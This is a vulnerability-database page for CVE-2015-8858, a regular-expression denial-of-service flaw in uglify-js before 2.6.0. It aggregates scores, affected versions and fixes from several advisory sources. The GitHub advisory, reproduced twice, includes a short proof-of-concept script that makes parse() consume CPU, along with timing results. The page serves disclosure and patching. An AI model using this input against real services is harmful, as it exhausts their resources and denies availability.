Every CVE Search/ Get API key

CVE-2015-8858

Regular Expression Denial of Service in uglify-js

7.5 HighFix available

The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

2.36%Up 1.4 points since Feb 4, 2022
90%50%10%1%

What each source reports

NVD Score used 7.5

The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."

Record
CVE-2015-8858
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
7.8 HighAV:N/AC:L/Au:N/C:N/I:N/A:C
Weakness
CWE-399
Updated
2026-11-02
CVE List No score

The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."

Record
CVE-2015-8858
Updated
2026-11-02
EUVDEUVD-2017-0215 No score

The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."

Record
EUVD-2017-0215
Updated
2026-11-03
GitHub AdvisoriesGHSA-c9f4-xj24-8jqx 7.5

Regular Expression Denial of Service in uglify-js

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Record
GHSA-c9f4-xj24-8jqx
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
OSV 7.5

The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."

Record
CVE-2015-8858
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVDEBIAN-CVE-2015-8858 7.5

The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."

Record
DEBIAN-CVE-2015-8858
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 7 moreShow less
OSVGHSA-c9f4-xj24-8jqx 7.5

Regular Expression Denial of Service in uglify-js

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Record
GHSA-c9f4-xj24-8jqx
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
OSVUBUNTU-CVE-2015-8858 7.5

The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."

Record
UBUNTU-CVE-2015-8858
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2026-1773274555 No score

TuxCare security update for uglify-js (2 CVEs)

TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 1.1.1-tuxcare.1.

Record
CLSA-2026-1773274555
Updated
2026-11-02
OSVCLSA-2026-1774225180 No score

TuxCare security update for uglify-js (2 CVEs)

TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 1.3.5-tuxcare.1.

Record
CLSA-2026-1774225180
Updated
2026-11-02
OSVCLSA-2026-1774225182 No score

TuxCare security update for uglify-js (2 CVEs)

TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 2.3.6-tuxcare.1.

Record
CLSA-2026-1774225182
Updated
2026-11-02
OSVCLSA-2026-1776904629 No score

TuxCare security update for uglify-js (2 CVEs)

TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 2.8.29-tuxcare.1.

Record
CLSA-2026-1776904629
Updated
2026-11-02
OSVCLSA-2026-1776904632 No score

TuxCare security update for uglify-js (2 CVEs)

TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 3.4.10-tuxcare.1.

Record
CLSA-2026-1776904632
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
uglify-js
npm
before 2.6.0
2.6.0
uglify-js
TuxCare:npm
From an advisory covering 2 CVEs
1.1.1-tuxcare.0 up to 1.1.1-tuxcare.1, plus listed versions
1.1.1
1.1.1-tuxcare.1
uglify-js
TuxCare:npm
From an advisory covering 2 CVEs
1.3.5-tuxcare.0 up to 1.3.5-tuxcare.1, plus listed versions
1.3.5
1.3.5-tuxcare.1
uglify-js
TuxCare:npm
From an advisory covering 2 CVEs
2.3.6-tuxcare.0 up to 2.3.6-tuxcare.1, plus listed versions
2.3.6
2.3.6-tuxcare.1
uglify-js
TuxCare:npm
From an advisory covering 2 CVEs
2.8.29-tuxcare.0 up to 2.8.29-tuxcare.1, plus listed versions
2.8.29
2.8.29-tuxcare.1
uglify-js
TuxCare:npm
From an advisory covering 2 CVEs
3.4.10-tuxcare.0 up to 3.4.10-tuxcare.1, plus listed versions
3.4.10
3.4.10-tuxcare.1
uglifyjs
Debian:13
before 2.7.4-1
2.7.4-1
uglifyjs
Ubuntu:16.04:LTS
All versions, plus listed versions
2.4.15-42.4.15-5
None known

History

History
RecordedChangedSources
affected, facts
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2015-8858 is a high vulnerability (CVSS 7.5) in Uglifyjs Project Uglifyjs, published January 23, 2017. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.36%, the 83rd percentile. Fixed in uglify-js 2.6.0.

References

MoveEnter Open